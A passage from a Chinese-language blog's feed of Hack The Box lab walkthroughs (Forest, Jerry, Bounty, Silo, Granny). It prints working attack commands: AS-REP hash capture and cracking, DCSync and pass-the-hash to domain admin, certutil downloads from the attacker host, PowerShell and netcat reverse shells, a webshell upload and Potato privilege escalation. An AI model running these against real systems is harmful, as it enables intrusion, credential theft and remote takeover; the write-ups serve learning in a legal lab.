135/tcp   open  msrpc        syn-ack ttl 127 Microsoft Windows RPC
139/tcp   open  netbios-ssn  syn-ack ttl 127 Microsoft Windows netbios-ssn
389/tcp   open  ldap         syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds syn-ack ttl 127 Windows Server 2016 Standard 14393 microsoft-ds (workgroup: HTB)
464/tcp   open  kpasswd5?    syn-ack ttl 127
593/tcp   open  ncacn_http   syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped   syn-ack ttl 127
3268/tcp  open  ldap         syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped   syn-ack ttl 127
5985/tcp  open  http         syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp  open  mc-nmf       syn-ack ttl 127 .NET Message Framing
47001/tcp open  http         syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open  msrpc        syn-ack ttl 127 Microsoft Windows RPC
49665/tcp open  msrpc        syn-ack ttl 127 Microsoft Windows RPC
49666/tcp open  msrpc        syn-ack ttl 127 Microsoft Windows RPC
49667/tcp open  msrpc        syn-ack ttl 127 Microsoft Windows RPC
49671/tcp open  msrpc        syn-ack ttl 127 Microsoft Windows RPC
49678/tcp open  ncacn_http   syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
49679/tcp open  msrpc        syn-ack ttl 127 Microsoft Windows RPC
49684/tcp open  msrpc        syn-ack ttl 127 Microsoft Windows RPC
49707/tcp open  msrpc        syn-ack ttl 127 Microsoft Windows RPC
49983/tcp open  msrpc        syn-ack ttl 127 Microsoft Windows RPC
Service Info: Host: FOREST; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| p2p-conficker: 
|   Checking for Conficker.C or higher...
|   Check 1 (port 5597/tcp): CLEAN (Couldn&apos;t connect)
|   Check 2 (port 32753/tcp): CLEAN (Couldn&apos;t connect)
|   Check 3 (port 51508/udp): CLEAN (Timeout)
|   Check 4 (port 44587/udp): CLEAN (Failed to receive data)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
| smb-os-discovery: 
|   OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
|   Computer name: FOREST
|   NetBIOS computer name: FOREST\x00
|   Domain name: htb.local
|   Forest name: htb.local
|   FQDN: FOREST.htb.local
|_  System time: 2024-04-21T22:30:47-07:00
| smb2-time: 
|   date: 2024-04-22T05:30:48
|_  start_date: 2024-04-22T05:05:05
| smb2-security-mode: 
|   3.1.1: 
|_    Message signing enabled and required
| smb-security-mode: 
|   account_used: &amp;lt;blank&amp;gt;
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: required
|_clock-skew: mean: 2h22m36s, deviation: 4h02m30s, median: 2m35s
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可以知道這台是 htb.local 的 Domain Controller&lt;br /&gt;
5985 port 也是開的，推測 WinRM 是打開的&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;ldapsearch&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;3268 port 開了 ldap 用 ldapsearch 輔助&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ldapsearch -H ldap://10.10.10.161 -x -s base namingcontexts
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;-x&lt;/code&gt; Simple authentication&lt;br /&gt;
&lt;code&gt;-s&lt;/code&gt; Scope&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;namingContexts: DC=htb,DC=local
namingContexts: CN=Configuration,DC=htb,DC=local
namingContexts: CN=Schema,CN=Configuration,DC=htb,DC=local
namingContexts: DC=DomainDnsZones,DC=htb,DC=local
namingContexts: DC=ForestDnsZones,DC=htb,DC=local
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;接下來用 GetNPUsers&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;impacket-GetNPUsers htb.local/ -dc-ip 10.10.10.161 -request
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可以拿到 &lt;code&gt;svc-alfresco&lt;/code&gt; 這個 user 的 password hash&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$krb5asrep$23$svc-alfresco@HTB.LOCAL:c5415db6bb764e14a48fb634733aa7e7$c0608bb5a59e8c04a8ab26f187fb054e7be2c2c3ba0c533fb757079b471f5a3be620715925c4b6d914b9fe8e65762e4401b2a45b9d88038f78e63a9e5913c99d803737071d073c0c8085b682e6384c6ae7328e8188cb6d2c462b4b0ccc9fb59a260a901c2bd0651436604359f01ca60806567b4923f9df22ed2f2678d200b609f20ea89a1f0f3ec2e7f89c67a5df6e2a6ed55654bd91505b81ad9eb87ed999a8bf29003ed24eeae0b99e4f8d25763bf2031c2d643375a65cd5d9ee4f276bd96bc7e1da3397a366e2ec58f01a7f700a944784939094fae05d2395e4c7838a015afcd39b77c5fe
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;接下來用 john + rockyou.txt&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;s3rvice          ($krb5asrep$23$svc-alfresco@HTB.LOCAL)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;p&gt;用取得的 credential 嘗試登入&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;evil-winrm -i 10.10.10.161 -u svc-alfresco -p s3rvice
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;成功取得 User Shell&lt;br /&gt;
&lt;img src=&quot;1.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Privilege Escalation&lt;/h2&gt;
&lt;p&gt;用 bloodhound 繼續 recon&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;bloodhound-python -d htb.local -u svc-alfresco -p s3rvice -gc forest.htb.local -c all -ns 10.10.10.161
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;報錯ㄌ，乖乖到 target 上執行，在那之前先開 neo4j 跟 bloodhound&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo neo4j console
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;bloodhound
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;接下來上傳 &lt;code&gt;SharpHound.exe&lt;/code&gt;&lt;br /&gt;
https://github.com/BloodHoundAD/SharpHound/releases/tag/v2.3.3&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;certutil.exe -urlcache -split -f http://10.10.16.3:8000/SharpHound.exe
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;執行 SharpHound&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;.\SharpHound.exe -c all
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;會拿到一個 zip 檔&lt;br /&gt;
&lt;img src=&quot;2.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Evil-WinRM 還是挺好用的，可以直接下 download 傳回攻擊機，不用架 smbserver 傳輸&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;download 20240423174653_BloodHound.zip
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;把 zip 檔上傳到 BloodHound&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Note: 無法上傳可能是版本問題，建議都用最新版的 BloodHound 跟 SharpHound&lt;/em&gt;&lt;br /&gt;
最新版 BloodHound 使用方法&lt;br /&gt;
(登入時 docker exited 可能是你的 RAM 不夠)&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;wget https://ghst.ly/getbhce -O docker-compose.yml
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;docker-compose up -d
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在 cypher 搜 domain admin 設成 end node，會列出 path 特別牛
&lt;img src=&quot;3.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;但我不知道 CanPSRemote 怎麼利用 QQ&lt;br /&gt;
照著 BloodHound 的提示做會報錯&lt;/p&gt;
&lt;p&gt;所以把 CanPSRemote 拔掉，再搜尋一次&lt;br /&gt;
&lt;img src=&quot;4.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;WriteDACL 可以做 DCSync 攻擊，這樣路線就蠻明確了&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;創建一個 user 並加入 EXCHANGE WINDOWS PERMISSIONS group&lt;/li&gt;
&lt;li&gt;DCsync 攻擊 dump 出 password&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;創建 user&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;net user flydragon password123 /add /domain
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;把剛剛創建的 user 加進 EXCHANGE WINDOWS PERMISSIONS group&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;net group &quot;EXCHANGE WINDOWS PERMISSIONS&quot; /add flydragon
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;接下來照著 BloodHound 給的建議做&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$SecPassword = ConvertTo-SecureString &apos;password123&apos; -AsPlainText -Force
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;$Cred = New-Object System.Management.Automation.PSCredential(&apos;htb\flydragon&apos;, $SecPassword)
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;Add-DomainObjectAcl -Credential $Cred -TargetIdentity &quot;DC=htb,DC=local&quot; -PrincipalIdentity flydragon -Rights DCSync
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;最後一行報錯了，查了一下知道要 import PowerView module&lt;br /&gt;
(kali 上已經有了 &lt;code&gt;/usr/share/windows-resources/powersploit/Recon/PowerView.ps1&lt;/code&gt;)&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;certutil.exe -urlcache -split -f http://10.10.16.3:8000/PowerView.ps1
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;Import-Module .\PowerView.ps1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;再送一次這個&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Add-DomainObjectAcl -Credential $Cred -TargetIdentity &quot;DC=htb,DC=local&quot; -PrincipalIdentity flydragon -Rights DCSync
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可以開始 dump password ㄌ！&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;impacket-secretsdump htb.local/flydragon:password123@10.10.10.161
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;會有很多個，但重點是 Administrator 的密碼&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;htblocal\Administrator:500:aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6:::
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;impacket-psexec htb.local/Administrator@10.10.10.161 -hashes aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;拿到 Root Shell
&lt;img src=&quot;5.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;後記&lt;/h2&gt;
&lt;p&gt;這台我分兩天才打完，確定是 Easy 嗎 Orz&lt;/p&gt;
</content:encoded></item><item><title>[HTB] Jerry Walkthrough</title><link>https://flydragonw.github.io/posts/htb_jerry/</link><guid isPermaLink="true">https://flydragonw.github.io/posts/htb_jerry/</guid><description>Jerry Write-up w/o Metasploit</description><pubDate>Mon, 15 Apr 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;img src=&quot;https://visitor-badge.laobi.icu/badge?page_id=flydragon.blog.htb_jerry&amp;amp;left_color=%232b3645&amp;amp;right_color=%2364a2e8&quot; alt=&quot;visitor badge&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;前言&lt;/h2&gt;
&lt;p&gt;這台是 Hack The Box 的 Jerry，難度是 Easy&lt;/p&gt;
&lt;p&gt;使用到的技巧：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;WAR webshell&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Attacker: &lt;code&gt;10.10.16.2&lt;/code&gt;&lt;br /&gt;
Target: &lt;code&gt;10.10.10.95&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;Recon&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;nmap&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;sudo nmap -sV -sC 10.10.10.95
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;PORT     STATE SERVICE VERSION
8080/tcp open  http    Apache Tomcat/Coyote JSP engine 1.1
|_http-title: Apache Tomcat/7.0.88
|_http-favicon: Apache Tomcat
|_http-server-header: Apache-Coyote/1.1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Tomcat 開在 8080&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;p&gt;選 Manager App 會要你登入
&lt;img src=&quot;1.png&quot; alt=&quot;img&quot; /&gt;&lt;br /&gt;
Cancel 掉之後會有一組 credential 可以用&lt;br /&gt;
tomcat/s3cret&lt;/p&gt;
&lt;p&gt;用這個工具產 war webshell&lt;br /&gt;
https://github.com/p0dalirius/Tomcat-webshell-application&lt;/p&gt;
&lt;p&gt;再回到 Manager App 頁面 Deploy 這個 war file&lt;/p&gt;
&lt;p&gt;直接拿到 system 了，就很矇&lt;br /&gt;
&lt;img src=&quot;2.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;接下來可以用 &lt;code&gt;console.py&lt;/code&gt; 彈 rev-shell&lt;/p&gt;
</content:encoded></item><item><title>[HTB] Bounty Walkthrough</title><link>https://flydragonw.github.io/posts/htb_bounty/</link><guid isPermaLink="true">https://flydragonw.github.io/posts/htb_bounty/</guid><description>Bounty Write-up w/o Metasploit</description><pubDate>Mon, 15 Apr 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;img src=&quot;https://visitor-badge.laobi.icu/badge?page_id=flydragon.blog.htb_bounty&amp;amp;left_color=%232b3645&amp;amp;right_color=%2364a2e8&quot; alt=&quot;visitor badge&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;前言&lt;/h2&gt;
&lt;p&gt;這台是 Hack The Box 的 Bounty，難度是 Easy&lt;/p&gt;
&lt;p&gt;使用到的技巧：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;更多彈 rev-shell 的方法&lt;/li&gt;
&lt;li&gt;JuicyPotato 提權&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Attacker: &lt;code&gt;10.10.16.2&lt;/code&gt;&lt;br /&gt;
Target: &lt;code&gt;10.10.10.93&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;Recon&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;nmap&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;sudo nmap -sV -sC 10.10.10.93
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;PORT   STATE SERVICE VERSION
80/tcp open  http    Microsoft IIS httpd 7.5
|_http-server-header: Microsoft-IIS/7.5
|_http-title: Bounty
| http-methods: 
|_  Potentially risky methods: TRACE
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;開了 80 port，是一張圖片&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;dirsearch&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;dirsearch -u http://10.10.10.93/ -r
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;沒搜到什麼&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;gobuster&lt;br /&gt;
沒其他想法所以換個目錄列舉的工具跟字典檔&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;gobuster dir -u 10.10.10.93 -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -t 20
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;只搜到一個 &lt;code&gt;/uploadedfiles&lt;/code&gt; (Forbidden)&lt;br /&gt;
這邊卡住了，看別人的 write-up 才知道還有一個 &lt;code&gt;transfer.aspx&lt;/code&gt; ==&lt;br /&gt;
可以用來上傳檔案&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;p&gt;上傳功能不能傳 &lt;code&gt;.aspx&lt;/code&gt; 改用 &lt;code&gt;web.config&lt;/code&gt; 是類似 &lt;code&gt;.htaccess&lt;/code&gt; 的東東&lt;br /&gt;
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/Configuration%20IIS%20web.config/web.config&lt;/p&gt;
&lt;p&gt;傳上去就有 webshell 了&lt;br /&gt;
&lt;img src=&quot;1.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;接下來嘗試彈 rev-shell&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;nc.exe -e cmd.exe 10.10.16.2 4444
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;沒收到 shell 換個 payload&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient(&quot;10.10.16.2&quot;,4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2&amp;gt;&amp;amp;1 | Out-String );$sendback2  = $sendback + &quot;PS &quot; + (pwd).Path + &quot;&amp;gt; &quot;;$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;還是沒收到，再換一個&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;powershell -nop -c &quot;$client = New-Object System.Net.Sockets.TCPClient(&apos;10.10.16.2&apos;,4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2&amp;gt;&amp;amp;1 | Out-String );$sendback2 = $sendback + &apos;PS &apos; + (pwd).Path + &apos;&amp;gt; &apos;;$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;收到 uesr shell&lt;/p&gt;
&lt;h2&gt;Privilege Escalation&lt;/h2&gt;
&lt;p&gt;看評論的時候被暴雷了，知道可以直接用 Potato 一刀殺進去&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;whoami /priv
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;Privilege Name                Description                               State   
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token             Disabled
SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Disabled
SeAuditPrivilege              Generate security audits                  Disabled
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled 
SeImpersonatePrivilege        Impersonate a client after authentication Enabled 
SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;其中 &lt;code&gt;SeImpersonatePrivilege&lt;/code&gt; 是 Enabled 代表可以用 Potato 提權&lt;br /&gt;
上傳 jucypotato 和 reverse-shell.bat 就完成準備工作了&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;.\JuicyPotato.exe -t * -p reverse-shell.bat -l 4444
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;3.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;收到 system shell&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;4.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>[HTB] Silo Walkthrough</title><link>https://flydragonw.github.io/posts/htb_silo/</link><guid isPermaLink="true">https://flydragonw.github.io/posts/htb_silo/</guid><description>Silo Write-up w/o Metasploit</description><pubDate>Sun, 14 Apr 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;img src=&quot;https://visitor-badge.laobi.icu/badge?page_id=flydragon.blog.htb_silo&amp;amp;left_color=%232b3645&amp;amp;right_color=%2364a2e8&quot; alt=&quot;visitor badge&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;前言&lt;/h2&gt;
&lt;p&gt;這台是 Hack The Box 的 Silo，難度是 Medium&lt;/p&gt;
&lt;p&gt;使用到的技巧：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;odat 滲透 Oracle database&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Attacker: &lt;code&gt;10.10.16.2&lt;/code&gt;&lt;br /&gt;
Target: &lt;code&gt;10.10.10.82&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;Recon&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;nmap&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;sudo nmap -sV -sC 10.10.10.82
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;PORT      STATE SERVICE      VERSION
80/tcp    open  http         Microsoft IIS httpd 8.5
|_http-server-header: Microsoft-IIS/8.5
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-title: IIS Windows Server
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
1521/tcp  open  oracle-tns   Oracle TNS listener 11.2.0.2.0 (unauthorized)
49152/tcp open  msrpc        Microsoft Windows RPC
49153/tcp open  msrpc        Microsoft Windows RPC
49154/tcp open  msrpc        Microsoft Windows RPC
49155/tcp open  msrpc        Microsoft Windows RPC
49159/tcp open  oracle-tns   Oracle TNS listener (requires service name)
49160/tcp open  msrpc        Microsoft Windows RPC
49161/tcp open  msrpc        Microsoft Windows RPC
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: -3m49s, deviation: 0s, median: -3m49s
| smb2-security-mode: 
|   3.0.2: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2024-04-12T02:38:38
|_  start_date: 2024-04-12T02:27:39
| smb-security-mode: 
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: supported
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;再掃一下 smb&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo nmap -sV -sC -p445 --script=smb-vuln* 10.10.10.82
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;Host script results:
|_smb-vuln-ms10-061: No accounts left to try
|_smb-vuln-ms10-054: false
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;smbclient、smbmap、dirsearch 沒找到什麼，轉換目標摸摸看 oracle-tns&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;odat&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;可以參考這篇，寫得很清晰明瞭&lt;br /&gt;
https://www.whiteoaksecurity.com/blog/exploiting-oracle-databases-with-odat/&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo odat all -s 10.10.10.82
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;經過漫長的等待可以拿到這個 credential&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[+] Accounts found on 10.10.10.82:1521/sid:XE: 
scott/tiger
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;p&gt;到 odat 的 github page （或是 -h） 可以知道 &lt;code&gt;utlfile&lt;/code&gt; 這個 module 可以用來上傳/下載/刪除檔案&lt;br /&gt;
可以嘗試上傳 reverse shell&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;odat utlfile -s 10.10.10.82 -d &apos;XE&apos; -U &apos;scott&apos; -P &apos;tiger&apos; --putFile /test reverse-shell.exe /home/kali/HTB/Windows_tools/reverse-shell.exe 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;權限不夠&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[-] Impossible to put the ../../Windows_tools/reverse-shell.exe file: `ORA-01031: insufficient privileges`
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;嘗試加上 sysdba flag&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;odat utlfile -s 10.10.10.82 -d &apos;XE&apos; -U &apos;scott&apos; -P &apos;tiger&apos; --putFile /test reverse-shell.exe /home/kali/HTB/Windows_tools/reverse-shell.exe --sysdba
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;還是不行，嘗試另外兩個可以上傳檔案的 module 也失敗&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[-] Impossible to put the /home/kali/HTB/Windows_tools/reverse-shell.exe file: `ORA-29283: invalid file operation ORA-06512: at &quot;SYS.UTL_FILE&quot;, line 536 ORA-29283: invalid file operation ORA-06512: at line 1`
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;最後換個上傳路徑才成功&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;odat utlfile -s 10.10.10.82 -d &apos;XE&apos; -U &apos;scott&apos; -P &apos;tiger&apos; --putFile /temp reverse-shell.exe /home/kali/HTB/Windows_tools/reverse-shell.exe --sysdba
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;接下來再執行上傳的 shell&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;odat externaltable -s 10.10.10.82 -d &apos;XE&apos; -U &apos;scott&apos; -P &apos;tiger&apos; --exec /temp reverse-shell.exe --sysdba
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;1.png&quot; alt=&quot;img&quot; /&gt;&lt;br /&gt;
執行成功ㄌ！ 但沒收到 shell 就很玄。&lt;br /&gt;
不過重新生一個 shell 就成功了，虛驚一場&lt;br /&gt;
&lt;img src=&quot;2.png&quot; alt=&quot;img&quot; /&gt;
直接拿到 system&lt;/p&gt;
</content:encoded></item><item><title>[HTB] Granny Walkthrough</title><link>https://flydragonw.github.io/posts/htb_granny/</link><guid isPermaLink="true">https://flydragonw.github.io/posts/htb_granny/</guid><description>Granny Write-up w/o Metasploit</description><pubDate>Mon, 08 Apr 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;img src=&quot;https://visitor-badge.laobi.icu/badge?page_id=flydragon.blog.htb_granny&amp;amp;left_color=%232b3645&amp;amp;right_color=%2364a2e8&quot; alt=&quot;visitor badge&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;前言&lt;/h2&gt;
&lt;p&gt;&lt;s&gt;看到朋友在寫所以 the 學&lt;/s&gt;&lt;br /&gt;
剛接觸 Windows 滲透，不想重複踩坑，所以來寫靶機的 Write-up，做個紀錄這樣 XD&lt;br /&gt;
這台是 Hack The Box 的 Granny，難度是 Easy&lt;/p&gt;
&lt;p&gt;使用到的技巧：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;VBScript 傳輸檔案&lt;/li&gt;
&lt;li&gt;churrasco.exe 提權&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Attacker: &lt;code&gt;10.10.16.2&lt;/code&gt;&lt;br /&gt;
Target: &lt;code&gt;10.10.10.15&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;Recon&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;nmap&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;sudo nmap -sV -sC 10.10.10.15
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;PORT   STATE SERVICE VERSION
80/tcp open  http    Microsoft IIS httpd 6.0
|_http-server-header: Microsoft-IIS/6.0
| http-methods: 
|_  Potentially risky methods: TRACE DELETE COPY MOVE PROPFIND PROPPATCH SEARCH MKCOL LOCK UNLOCK PUT
| http-webdav-scan: 
|   Server Date: Mon, 08 Apr 2024 02:27:18 GMT
|   Allowed Methods: OPTIONS, TRACE, GET, HEAD, DELETE, COPY, MOVE, PROPFIND, PROPPATCH, SEARCH, MKCOL, LOCK, UNLOCK
|   WebDAV type: Unknown
|   Server Type: Microsoft-IIS/6.0
|_  Public Options: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH
|_http-title: Under Construction
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 35.73 seconds
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;看起來是 WebDav Server，且用 PUT method 可以上傳檔案&lt;/p&gt;
&lt;ol&gt;
